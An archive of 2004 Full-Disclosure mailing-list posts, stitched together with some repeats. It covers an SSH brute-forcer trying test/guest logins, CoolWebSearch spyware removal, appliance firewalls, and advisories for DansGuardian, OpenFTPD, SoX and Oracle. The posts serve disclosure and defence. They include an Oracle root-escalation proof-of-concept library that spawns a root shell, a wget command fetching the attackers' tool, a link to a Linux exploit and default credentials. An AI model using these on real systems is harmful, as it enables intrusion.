Do I take it that these things are just trying to log in using some
guessed password(s) ? Out of interest, do we have any idea what these
opportunistic passwords might be ?

JFYI of anyone interested:
On Nanog a short time back, most of the list there decided that CWS couldn't
easily be removed. I first stumbled across it maybe around the start of July
and have had many instances of it, since, in many places.
Adaware does bugger-all to remove it. Spybot recognised it, got rid of it
and upon reboot it was back. It was never quite clear from a simple
inspection, what was putting it back.
When I first found it, I had also found "HiJackThis" and ran it. That prog
brought up the proper registry entries to enable me to correctly identify
CWS, remove the entries and delete files. It took some time the first time I
saw it but it takes about 10 mins (if that) to get rid of it, now. Nanog
disagreed and said it wasn't that easy. It simply WAS that easy. I just
happened to experience "dumb luck" and be one of the first (if not the
first) to easily get rid of it through HiJackThis.
So, for those of you who don't think Nanog is full of "Gods of Correctness",
if you are having probs with removal of CWS, get HiJackThis, let it scan and
then you will see, sticking out like a wart on your......nose :)........ the
entries you need to delete in order to properly rid that machine of CWS. It
wasn't hard using that prog.

I am not subscribed to full-discolosure with my personal address (or

so forgive the lack of a copy of your mail :)
Anyway, what you are seeing is normal.
This is actually a bug in the html-code written by the spammer
In the lack of a <handler>:// in an URL, any browser will (or should)
assume that the link is relative to the path it is currently reading from.
So since the link code is only <a href="www.link.com">link</a>, not
<a href="http://www.link.com">link</a>, the browser will assume this is
relative to the mailbox it is reading it in. (outbind://...)
You will see the same problem on web sites if they omit the http:// in
links.
If www.siteA.com tries to link to www.siteB.com only using
<a href="www.siteB.com">, the browser will look for
http://www.siteA.com/www.siteB.com

The creator of CWShredder claims the newest versions of CWS are very
stealthy and I believe he as stopped updating the program. Therefore
CWShredder isn't the best for the newest. But as far as I understood things
(from other mailing list and forum post), HiJackThis wasn't removing them
100% either.

At least two of them are guest:guest and test:test. I'd guess that
root:root and admin

DansGuardian Hex Encoding URL Banned Extension Filter Bypass Vulnerability
==========================================================================
Original Release Date: 2004-07-29
Author: Ruben Molina (a.k.a fradiavolo)
Email: ruben
udea.edu.co
!!! VIVA COLOMBIA !!!
1. Systems affected:
All DansGuardian up to and including DansGuardian 2.8.
2. Overview:
DansGuardian (http://dansguardian.org) is a web Open Source content filter
available
for various Unix based operating systems, including Linux. It filters the
actual
content of pages based on many methods including phrase matching, PICS
filtering and
URL filtering.
DansGuardian may allow malicious users to bypass the extension filter
rules when
processing URLs which contain an hex encoded filename (e.g:
http://server/file.%65%78%65 or http://server/file%2eexe).
3. Impact:
Under some installations, this may violate security policy, or allow users
to inadvertantly access malicious web content.
4. Solution:
Upgrade to DansGuardian 2.8.0.1
5. Patch:
--- FOptionContainer.cpp.diff ---
806d805
< url.hexDecode();
---------------------------------
6. Timeline and credits:
28/07/2004 Notification to the main developer (author at dansguardian dot
org)
28/07/2004 DansGuardian 2.8.0.1 released
29/07/2004 Public Security Advisory.

A previous poster mentioned that after exploiting a test/test or
guest/guest account, an attacker downloaded SuckIt to his machine, got
root using some unspecified local vuln (he said it was a very unpatched
mcahine), and started from there.
The program IS linked against OpenSSL and appears to inintiate an ssh
connection with the target(s) in a separate text file (uniq.txt). I
can't follow the connection because of the encryption, but it seems to
be trying a user and then disconnecting (as in, I see nothing really
obviously out of the ordinary when I run it). Haven't got farther in
disassembling it yet.

HijackThis has its limits : it cannot get rid of some variants, for instance
which one with a hidden value regenereting the entry
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows
NT\CurrentVersion\Windows\AppInit_DLLs
using Backdoor.Agent.ba to install itself and laucnchin a random name exe.

Does the Debian machine that was compromised have a ``test'' or
``guest'' username?
Also, if it wasn't patched in a year, it may still be vulnerable to
this: http://www.cert.org/advisories/CA-2003-24.html
I would tend to think this isn't a 0day kinda vuln, as if it were, he'd
be a lot more successful than he seems (unless we're all rooted and
don't even know it). But who can tell?

I don't know if you fully understand HiJackThis or maybe I was just unclear.
HiJackThis wasn't used by me to get rid of CWS as, for example, running
Adaware gets rid of tracking cookies and some installed spyware progs. It
was used by me to list various entries in registry which, when lumped
together like that, show off CWS quite easily. Once they are there, removing
them and the progs started by some of them is easy.
That is all you have to do. Don't expect HiJackThis to magically get rid of
it all at the flick of a button. You *DO* have to have a small amount of
registry knowledge in order to ID which entries are seriously bull and which
are honest BHOs etc. I am not a registry "expert" but claim a small amount
of registry knowledge so even to ME it was obvious what was what.
Greg.

Hey all,
CHX (http://www.idrci.net/idrci_tryit2.htm) seems to
be a very nice piece of software. Anyone tried it in
real life? After toying with it for a couple of hours,
I really don't understand how come it's still just a
(relatively) obscure application. Any comments re. its
usage? any known vulnerabilities?

Heya George,
perhaps the engineers are too busy fixing broken legal strategies and
are putting silly software issues on the back=burner.
(After all, why fix it if they file Chapter 11 by end of the year
anyway?)

Problem Description:
The OpenOffice.org office suite contains an internal libneon library
which allows it to connect to WebDAV servers. This internal library
is subject to the same vulnerabilities that were fixed in libneon
recently. These updated packages contain fixes to libneon to
correct the several format string vulnerabilities in it, as well as
a heap-based buffer overflow vulnerability.

Sidenote - '-s 0' always adjusts capture length to the MTU, allowing for a full
capture of the entire payload.
If the binary's made available, I'll throw it into IDA and see what it does.

Yes, agreed - I am also convinced it must be something old, and

As far as I have heared this is an 0day "exploit" which does nothing but
trying to bruteforce some accounts like "admin" "test" and so on with
passwords like "test" "1234" and i dont know what.
Seems to be not too serious because noone actually has those account in
real life. ;)

This is exactly what I did. The tool tries to login as users 'test' and
'guest'. But I don't think it is about just snarfing passwords, because
those users did not exist on the compromised machine - yet they got in.
My personal feeling is (given their poor success) that they are using
some old-fart ssh vulnerability. The compromised machine had an uptime
of 254 days if I remember correctly, and was hardly used during this
time, nor has it been updated. Still I would really like to know
*exactly* what they are doing, just to make sure...

[Full-Disclosure] OPEN3S - Local Privilege Elevation through Oracle products (Unix Platform)
From: Juan Manuel Pascual (jmpascual
open3s.com)
Date: Fri Jul 30 2004 - 04:28:39 CDT
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]
*----------========== OPEN3S-2004-10-05-eng-oracle-so-libraries ==========----------
*
* Title:* Local Vulnerability in Oracle Products. RDBMS, IAs, etc
*All Versions*. (10g not tested)
* Date:* 10-05-2004
* Platform:* Tested in Linux, Solaris & HP-UX but can be exported to others.
* Impact:* Privilege elevation from oracle products installation owner
(usually called oracle or ias ) to root.
* Author:* Juan Manuel Pascual Escriba <mailto:jmpascual
open3s.com>
* Status:* Vendor contacted details below.
*INTRODUCTION:*
Oracle Corporation (nasdaqNM - ORCL) is a world leading database software developer,
claiming to develop an unbreakable software. It's products are targeted in database,
application server and data mining market.
*PROBLEM SUMMARY:*
This software version
- Oracle 8i Linux Platform
- Oracle 9i Linux Platform
- Oracle 8i HP-UX Platform
- Oracle 9i Solaris Platform
- Oracle IAS 9.0.2.0.1 with patchset v9.0.2.3
- All versions tested in Unix platform (Universal?¿)
are suitable to privilege elevation from oracle software owner ( normally oracle,ias,
iasr2) to root.
*DESCRIPTION*
Oracle Libraries are installed owned by oracle in a default installation of the products
commented above.
[pask
dimoniet home]$ ls -alc /export/home/iasr2/ora9ias_mid
...
drwxr-xr-x 3 iasr2 dba 512 Nov 21 14:04 lbs
drwxr-xr-x 15 iasr2 dba 512 Jan 7 12:13 ldap
drwxr-xr-x 3 iasr2 dba 12800 Nov 21 11:22 lib
drwxr-xr-x 13 iasr2 dba 512 Nov 21 14:04 network
drwxr-xr-x 3 iasr2 dba 512 Nov 21 14:04 ocommon
...
As you can see, the lib directory owner is iasr2, let's look for some setuid binaries
[pask
dimoniet ora9ias_mid]$ find ./ -perm +4000
./bin/dbsnmp
./bin/nmo
[iasr2
dimoniet ora9ias_mid]$ ls -alc ./bin/dbsnmp
-rwsr-s--- 1 root dba 2900980 Nov 21 14:04 ./bin/dbsnmp
[iasr2
dimoniet ora9ias_mid]$ ls -alc ./bin/nmo
-rwsr-s--- 1 root dba 12632 Nov 21 14:04 ./bin/nmo
And now, just could see the shared objects that the binaries depends.
[iasr2
dimoniet ora9ias_mid]$ ldd ./bin/dbsnmp
libvppdc.so => /export/home/iasr2/ora9ias_mid/lib/libvppdc.so
libclntsh.so.9.0 => /export/home/iasr2/ora9ias_mid/lib/libclntsh.so.9.0
libwtc9.so => /export/home/iasr2/ora9ias_mid/lib//libwtc9.so
libthread.so.1 => /usr/lib/libthread.so.1
libkstat.so.1 => /usr/lib/libkstat.so.1
....
[iasr2
dimoniet ora9ias_mid]$ ldd ./bin/nmo
libnsl.so.1 => /usr/lib/libnsl.so.1
libsocket.so.1 => /usr/lib/libsocket.so.1
libgen.so.1 => /usr/lib/libgen.so.1
.....
ups, it's not posible to achieve root privileges with this binary and by this way
For iasr2 user is too easy to create a so.lib, something like
#include
#include
_init() {
printf("en el _init()\n");
printf("Con PID=%i y EUID=%i",getpid(),getuid());
setuid(0);
system("/usr/bin/ksh");
printf("Saliendo del Init()\n");
}
*IMPACT*
oracle,ias,iasr2 or iasdb users with local access can gain root privileges through
oracle installation
*EXPLOIT*
commented above.
*WORKAROUND*
chown to root lib directory and parent directory.
*STATUS*
Oracle Security Alerts explains in an email sent 26/07/2004 that "Oracle believes that
only trusted users should have access to the local iasdb user account".
I have no information about a patch or a solution from Oracle Corp.

- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]
[VSA0402 - openftpd - void.at security notice]
Overview
========
We have discovered a format string vulnerability in openftpd
(http://www.openftpd.org:9673/openftpd). OpenFTPD is a free,
open source FTP server implementation for the UNIX platform.
FTP4ALL is not vulnerable (it doesnt use that message system).
Affected Versions
=================
This affects openftpd version up to 0.30.2. This includes
also the old version 0.29.4.
Impact
======
Middle.
Remote Shell Access when you have an working FTP user account.
Workaround:
===========
Apply the following patch or upgrade to the latest CVS version.
cat > openftpd_formatstring.patch << _EOF_
--- openftpd-daily.orig/src/misc/msg.c 2004-07-05 22:02:43.000000000 +0200

while (fgets(buff, 67, file)) {
if (*(buff+strlen(buff)-1) == '\n') *(buff+strlen(buff)-1) = 0;
sprintf(str, " !C| !0%-66s !C|!0\n", buff);
- printf(str);
+ printf("%s", str);
}
fclose(file);
printf("!C \\__________________________________________________!Hend of message!C__/!0\n");
_EOF_
Details
=======
When a user sends a message to another user an external program will be
called (msg). It is used for the OpenFTPD message handling.

This is not the case for all variants of CWS. The newer, sneakier
variants can rebuild themselves if they detect a program like HijackThis
removing their registry entries.
This is part of a strong trend in unsolicited commercial software,
copying survival techniques learned from virus authors. The use of
constantly-loaded multiple DLLs and/or processes and/or services that
all restart and repair each other if tampering is detected, is becoming
widespread (see also CommonName, ClearSearch, TVMedia etc.).
Where there are not short-cut workarounds this means removing the
software manually is simply impossible. Currently a trip into Safe Mode
can do the trick, by stopping any of the software running, but I'm sure
that'll be worked around too eventually. (Rootkit-like spyware?)

Now, if anybody could jump through the hoop and send me the thing or make it
publicly available... all these things are musings, 'it looks as if...' and 'it
seems like...' are not exactly results of an analysis.
Just tracing tcpdump's output is definitely insufficient.
If the tool just sends normal TCP packets, then why does it need root rights,
which you typically only require for raw sockets to build packets which can't
be constructed with SOCK_STREAM or SOCK_DGRAM?
I hope you don't run it on your production boxes in the normal userland - ever
considered the fact it might contain an ELF infector or something?
Now, if I wanted to deploy malware on a Linux box, I'd just come up with a
mysterious looking tool and let that infect the machines of people who just
run anything they can get a hold of. It's Linux, after all, right? No viruses,
right?

This things needs to be disassembled, debugged and traced. All else is just
whistling in the dark. Meh.

I get at least a couple of probes every day. Almost all are refused

Being from Montreal where CHX-I is developed, I had the chance to use it for
a while on a few servers and workstations, so far I have been impressed by
the product. I do know that it is being used by some government
organization in the states as well as quite a few universities. There are
some large commercial companies in Canada that are using it and some others
who are evaluating it.
The product is just amazing in its functionality and simplicity. It's like
getting lots of the niceties only found in Linux on your Windows platform
all of a sudden.
The company behind the product has been in existence for a while; they
definitively need to market their product more aggressively as it is
relatively unknown to most.

Jan is right - looking at the code might be the only way to know what is
really happening.
We all await your disassembled, debugged and traced code analysis, Jan. =)

Subject: Re: [Full-Disclosure] Automated SSH login attempts?
Now, if anybody could jump through the hoop and send me the thing or make it
publicly available... all these things are musings, 'it looks as if...' and
'it
seems like...' are not exactly results of an analysis.
Just tracing tcpdump's output is definitely insufficient.
If the tool just sends normal TCP packets, then why does it need root
rights,
which you typically only require for raw sockets to build packets which
can't
be constructed with SOCK_STREAM or SOCK_DGRAM?
I hope you don't run it on your production boxes in the normal userland -
ever
considered the fact it might contain an ELF infector or something?
Now, if I wanted to deploy malware on a Linux box, I'd just come up with a
mysterious looking tool and let that infect the machines of people who just
run anything they can get a hold of. It's Linux, after all, right? No
viruses,
right?

This things needs to be disassembled, debugged and traced. All else is just
whistling in the dark. Meh.

Not really "new", in the scheme of things. Over 30 years ago, some bored
prgrammer wrote something for one of the mainframes of the day (ICL?
IBM? Burroughs?) called "Robin Hood and Friar Tuck".
They were two programs that monitored each other, occasionally printing
cheeky messages to the console. Eventually, the (night-shift) operator
would notice, and delete one of them. The console dialogue then went
something like this:
FRIAR: HELP ME SIR ROBIN, I AM UNDER ATTACK!
ROBIN: FEAR NOT, BRAVE FRIAR, I SHALL RESCUE YOU!
And so one restarted the other.
The only way to remove this harmless jape (if you didn't know the right
command) was to IPL the box, and it was a brave operator who did that...

It would appear that if they can't get a local root, they'll use the box for
IRCing from.
Hopefully this helps someone. I haven't looked too much into this, if wanted
I could grab the source ip addresses used for logging into guest, but thats
probably not overly useful.
Thanks,

Sorry but totally and utterly incorrect. You just do NOT understand what I
have typed. I said that I used HiJackThis to list the entries in a group
then ticked them manually and then removed them. Along with that, it allowed
you to identify the exe files that went with it.
If you dont understand that then I can understand that you dont know how to
get rid of it but the truth is that this way DOES get rid of it. There are
at LEAST 5 variants of CWS. I have met them all and beat them all.

All easily beaten by using HiJackThis in the way I described. If I can do
it, anyone with just a small amount of registry knowledge also can.

Absolute and utter rot! I understand YOU may not be able to do it but it CAN
be done. It is simple logic if you want to look at it another way - whatever
can be DONE can be UNdone. The way I described works perfectly every time an
d takes 10 minutes or less to get rid of it though admittedly the first time
you use HiJackThis it can take longer.

No, you are utterly wrong there, too. I have run Spybot and Adaware in safe
mode. Spybot sees and removes CWS but it comes back on next boot anyway. You
have to use HiJackThis to list the registry entries which stand out like a
sore thumb at that point. If you cant identify incorrect registry entries,
though, naturally it will elude you!

FYI
We got zapped by some hackers from, I think, Romania that have a priv
escalation exploit for Linux 2.4.20
http://sirzion.illusivecreations.com/loginxy
There is also a multithreaded SSH bruteforcer called "haita"
This attempts to login to machines using the accounts "test" and
"guest", with passwords "test" & "guest" respectively.
It runs from a file of addresses found by a synscan program. It
identifies itself as SSH-2.0-libssh-0.1
So, SSH login failures for test & guest are an indication of this thing
running at the remote end.
The two names & passwords appear to be hardcoded into the program.
Since Linux as I recall backs off after failed attempts there wouldn't
be much to gain by trying many more names, but variants may appear with
other defaults.

Yeah, I was aware of this story; the Jargon File attributes it to Moto
staff working on Xerox CP-V. A few Win32 viruses copied the idea
(notably Gemini, see Virus Bulletin Sep02); this is what I meant by
parasite vendors stealing ideas from VXers.
The first parasite I saw using this trick was CommonName/Comwiz, but the
recent HuntBar/WinTools takes the biscuit by installing two processes,
one service and one BHO, all looking out for each other. Charming
behaviour for software purporting to be a search enhancer from a
'legitimate' company, eh?
I preferred viruses. You knew where you stood with viruses. They printed
a quote from a TV show and wiped your discs, you laughed at the funny
gag and reinstalled, everyone was happy. (Well, ish.)
Malware attaching its tentacles onto your machine to make a few dollars
from advertising and spam is just so much more offensively sleazy.

Severity: Normal
Title: SoX: Multiple buffer overflows
Date: July 30, 2004
Bugs: #58733
ID: 200407-23
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Synopsis
========
SoX contains two buffer overflow vulnerabilities in the WAV header
parser code.
Background
==========
SoX is a command line utility that can convert various formats of
computer audio files in to other formats.
Affected packages
=================
-------------------------------------------------------------------
Package / Vulnerable / Unaffected
-------------------------------------------------------------------
1 media-sound/sox <= 12.17.4-r1 >= 12.17.4-r2
Description
===========
Ulf Harnhammar discovered two buffer overflows in the sox and play
commands when handling WAV files with specially crafted header fields.
Impact
======
By enticing a user to play or convert a specially crafted WAV file an
attacker could execute arbitrary code with the permissions of the user
running SoX.
Workaround
==========
There is no known workaround at this time. All users are encouraged to
upgrade to the latest available version of SoX.
Resolution
==========
All SoX users should upgrade to the latest version:
# emerge sync
# emerge -pv ">=media-sound/sox-12.17.4-r2"
# emerge ">=media-sound/sox-12.17.4-r2"

We can only hope... maybe if we get lucky they'll be forced to file in
September. Or, perhaps, just fall off the end of the earth... Yeah,
that'd be a good thing.

You are probably talking about BHODemon,

Could it be possible that there are different versions of this, one

It should be at
http://www.spywareinfo.com/~merijn/downloads.html
but spywareinfo.com seems to be down right now.
A list of current known BHOs is at
http://sysinfo.org/
I can attest as a university Helpdesk person that current
spyware/adware is a far larger problem than normal viruses and trojans
right now...

Oh ? I know at least 30 :-D
The old ones are very kind and you can easily get rid of it the way you give
but for the new ons, you may forget it :o)
If you don't understand that there are new variants, it's useless trying to
explain how to get rid of the classic variants : anybody know how to handle
them. It DOES NOT WORK for the newer variants. Is that beyond your
understanding ?

Yep, BHODeamon is the best. Especially the newest version has some major improvements.
Don't have the link but it's very googable and the site is something like www.bhodeamon.com orso.

It 's obvious you did not get the variants I am speaking about and you are
no Registry "expert" ;)
For those variants :
HijackThis let you see the entry
HKEY_LOCAL_MACHINE\Software\Microsoft\WindowsNT\CurrentVersion\Windows\AppInit_DLLs
(and in most case with no value) BUT when you delete it and click refresh,
it comes immediately back for the trojan is still running.
If you kill the associated running random name dll (for instance
c:\windows\system32\logb.dll) it comes back at next reboot and adds the
value AppInit_DLLs again in the registry.
To get rid of it, you have to rename the key
HKLM\Software\Microsoft\WindowsNT\CurrentVersion\Windows in Windows2 ,
then delete the entry AppInit_DLLs which seems not having any value. When
done, rename the key with its regular name and AppInit_DLLs will not appear
anymore when refreshing ; only when it's done you will be able to kill and
delete the random name.dll for good which is the Backdoor.Agent.ba used to
install this tricky variant of CoolWebSearch.
That's why I said HijackThis has its limits : suppressing the entries its
log gives directly from the registry does not help.
That's just an exemple, the are other variants which add in the registry the
entry AppInit_Dlls somewhere else with the same result and the same way to
get rid of it.
Hoping it's clearer now, so sorry for my poor English.

"BHODemon" works nicely - the home page is
http://www.definitivesolutions.com/bhodemon.htm. Due to recent coverage at
SANS and Slashdot, the following flurry of attention required the author to
get the program distributed via some mirror sites.

[Full-Disclosure] Why should one buy (or not) an Appliance-based security gateway?

Hi all,
A few colleagues and I started a discussion as to why one should or shouldn't buy an appliance-based firewall, ids/ips or other security appliance instead of installing software on a server.
We thought about patching, performance, and other reason for each option but I'd like to hear what other people think.
I would really appreciate if you could share your thoughts with me.
Thanks in advance,

It's more likely that there's one version, making noise and very rarely finding
a box with stupid passwords. It's possible there's another rare version that
tries several stupid passwords and a few old SSH vulnerabilities. Is there
*any* reliable evidence (even a single box) that appears to have been nailed by
a new exploit?
I'll gladly change my mind, but it will take somebody actually finding a
box running a *recent* SSH and had guest/test/and_so_on properly secured,
and the attack *still* got in....

Obviously you have not met the CWS/About variant. This cannot be removed
with only HijackThis and the Task Manager, as its process will recreate
any registry entries you delete. Which process? Every process you are
running, thanks to the AppInit_DLLs entry.
> All easily beaten by using HiJackThis in the way I described.
Well done. Now go install CWS/About, TVMedia/BHO, CommonName/Comwiz and
HuntBar/WinTools, and see how you get on.
HijackThis is a brilliant tool. But it is not a panacea, and the worst
of the crop are starting to code around the things it can do.

1) Most appliance-based devices do not allow access to the operating system
from the application. In fact, they don't even allow access to the
application, except for its configuration.
2) Most appliance-based devices have a kernel and OS that is specifically
built (or the latest buzz word "purpose-built") for the service they
provide, making them capable of running on lower speed processors and lower
memory footprints than a general purpose OS (or conversely, capable of
doing a great deal more with the same CPU speed and memory footprint.)
Those are the two main benefits that I hear most often touted. I haven't
done any research into those claims. Perhaps someone else has?

Jack, the new variants are not so obvious to detect. They contain hidden
processes or rootkits. Sooner or later they will start to use ADS (alternate
data stream) points to hide.
Anyone can track down anything with a registry snapshot. Do a registry
snapshot and then install your "spyware" and then you will see every key.
But what good is that if you have to clean more than one computer.
We are all computer people - fixing one computer is easy but could take 4
hours - not very helpful on a mass scale. We pay for point and click, why
shouldn't we get it? ;)

It 's obvious you did not get the variants I am speaking about and you are
no Registry "expert" ;)
For those variants :
HijackThis let you see the entry
HKEY_LOCAL_MACHINE\Software\Microsoft\WindowsNT\CurrentVersion\Windows\AppIn
it_DLLs
(and in most case with no value) BUT when you delete it and click refresh,
it comes immediately back for the trojan is still running.
If you kill the associated running random name dll (for instance
c:\windows\system32\logb.dll) it comes back at next reboot and adds the
value AppInit_DLLs again in the registry.
To get rid of it, you have to rename the key
HKLM\Software\Microsoft\WindowsNT\CurrentVersion\Windows in Windows2 ,
then delete the entry AppInit_DLLs which seems not having any value. When
done, rename the key with its regular name and AppInit_DLLs will not appear
anymore when refreshing ; only when it's done you will be able to kill and
delete the random name.dll for good which is the Backdoor.Agent.ba used to
install this tricky variant of CoolWebSearch.
That's why I said HijackThis has its limits : suppressing the entries its
log gives directly from the registry does not help.
That's just an exemple, the are other variants which add in the registry the
entry AppInit_Dlls somewhere else with the same result and the same way to
get rid of it.
Hoping it's clearer now, so sorry for my poor English.

Agreed. The thing *is* publicly available, just do 'wget
frauder.us/linux/ssh.tgz'. What kept me from disassembling the thing so
far is not availability, but lacking knowledge about the ssh protocol on
my side ;-)

The tool itself dos not need root rights. What needs to be root is the

Someone had posted a link to the package -

I've got a copy if the original's down.

Does "installing software on a server" mean:
a) Building your own sentinel/gateway box and installing security software on it
or
b) installing security software directly on the server that needs protection?
> We thought about patching, performance, and other reason for each option but

An often overlooked issue is that the right choice for a clued and technically
competent site is quite often a poor choice for a site that's not able to
get its clue together. And there's a lot more of the latter than the former.
The best thing about an appliance is it's an *appliance* - a site can get
it, park it in its spot, plug the DMZ-side and inside-side cables into it,
do a little bit of basic config, and it works. The more configuration
knobs, the more chances to break it by accident.
And if you're installing software directly on the server that needs protecting,
that's just a disaster waiting to happen, especially in the Windows world -
the last thing a low-level admin needs is for the security software to install
a DLL that's incompatible with the service to be protected.....

Max,
How big are these networks that use default firewall rules? In a large
growing corporate network, we have to deal with stuff all the time. Users
want to do that...some other company or vendor needs a port open to do
something. They want you to just do it because all the other companies do
it. Kinda sad. Lol
Fault-tolerance firewalls, border routers, proxy with virus scan...access
list, IDS, you know you need the works to protect a enterprise size network.

I have found that if you do an "end process tree" on everything running
that you don't want. Then run through the "ADD & Remove" to remove
everything that you see is not wanted. Follow up with Spybot S&D and
then use HijackThis to remove unwanted Reg problems. Often during the
process of removing apps or even using Spybot you have to reboot and
that requires that you run through the "end process tree" function each
time. I follow up with one last sweep through "add & remove Programs".
This is usually a successful way to remove all Spyware Apps without much
complication.

This is not the case for all variants of CWS. The newer, sneakier
variants can rebuild themselves if they detect a program like HijackThis
removing their registry entries.
This is part of a strong trend in unsolicited commercial software,
copying survival techniques learned from virus authors. The use of
constantly-loaded multiple DLLs and/or processes and/or services that
all restart and repair each other if tampering is detected, is becoming
widespread (see also CommonName, ClearSearch, TVMedia etc.).
Where there are not short-cut workarounds this means removing the
software manually is simply impossible. Currently a trip into Safe Mode
can do the trick, by stopping any of the software running, but I'm sure
that'll be worked around too eventually. (Rootkit-like spyware?)

I will take up arms to write a cleaner for it. I despise programs like this
Since we are talking about 30 variations does anyone know where a person can get archived versions of all of these?
I've got a machine and the tools and know how to build the tool. I just need to be "infected" - wow, 30 variants. That is truly ugly.
Thanks

Obviously you have not met the CWS/About variant. This cannot be removed
with only HijackThis and the Task Manager, as its process will recreate
any registry entries you delete. Which process? Every process you are
running, thanks to the AppInit_DLLs entry.
> All easily beaten by using HiJackThis in the way I described.
Well done. Now go install CWS/About, TVMedia/BHO, CommonName/Comwiz and
HuntBar/WinTools, and see how you get on.
HijackThis is a brilliant tool. But it is not a panacea, and the worst
of the crop are starting to code around the things it can do.

Look, I have reported how easily it can be removed. If all you want to do is
argue about it, I have to tell you that I cant beat that. If you want to try
it for yourself, you'll see it is easy to do the way I described.
I have said all I can on this subject now. The rest if up to you lot. If you
reading this want to try, you'll see how ridiculously easy it is to remove
it. If you don't want to try and want to say it cant be done, then for you
saying that, obviously it cant.

RE: [Full-Disclosure] Why should one buy (or not) an Appliance-based security gateway?

I haven't done too much research into appliance-based devices but you would
guess that are set up for one purpose.
If I was going to build a Snort IDS box, it wouldn't have telnet open and it
wouldn't use HTTP (unless I was using ACID, then I would use SSL).
If I wanted to make a DHCP server - I would take Linux and strip the kernel
of all unneeded modules and recompile. Turn off all unneeded services and
make the image reuseable.
Appliance-based devices should use the same idea. But maybe they are like
cars. You can buy a sports car...which is designed for speed. Yet the fuel
map isn't tuned like it could be and that is a lot of back pressure in the
exhaust.
Basically, it comes down to how much do you want to learn about network
security and how secure do you want to me. Will properly fine-tuned homemade
system beat an applicance? - yes!. But can everyone built that system, No!
Wow did that make any sense? lol

1) Most appliance-based devices do not allow access to the operating system
from the application. In fact, they don't even allow access to the
application, except for its configuration.
2) Most appliance-based devices have a kernel and OS that is specifically
built (or the latest buzz word "purpose-built") for the service they
provide, making them capable of running on lower speed processors and lower
memory footprints than a general purpose OS (or conversely, capable of
doing a great deal more with the same CPU speed and memory footprint.)
Those are the two main benefits that I hear most often touted. I haven't
done any research into those claims. Perhaps someone else has?

Then we await your very simple tool to remove this bad spyware. If you can
do it with Hijack This...then maybe you should talk to the author and start
work on a new program.

Grab a copy of any Linux Live-CD and boot it up. Most have AirSnort, Kismet,
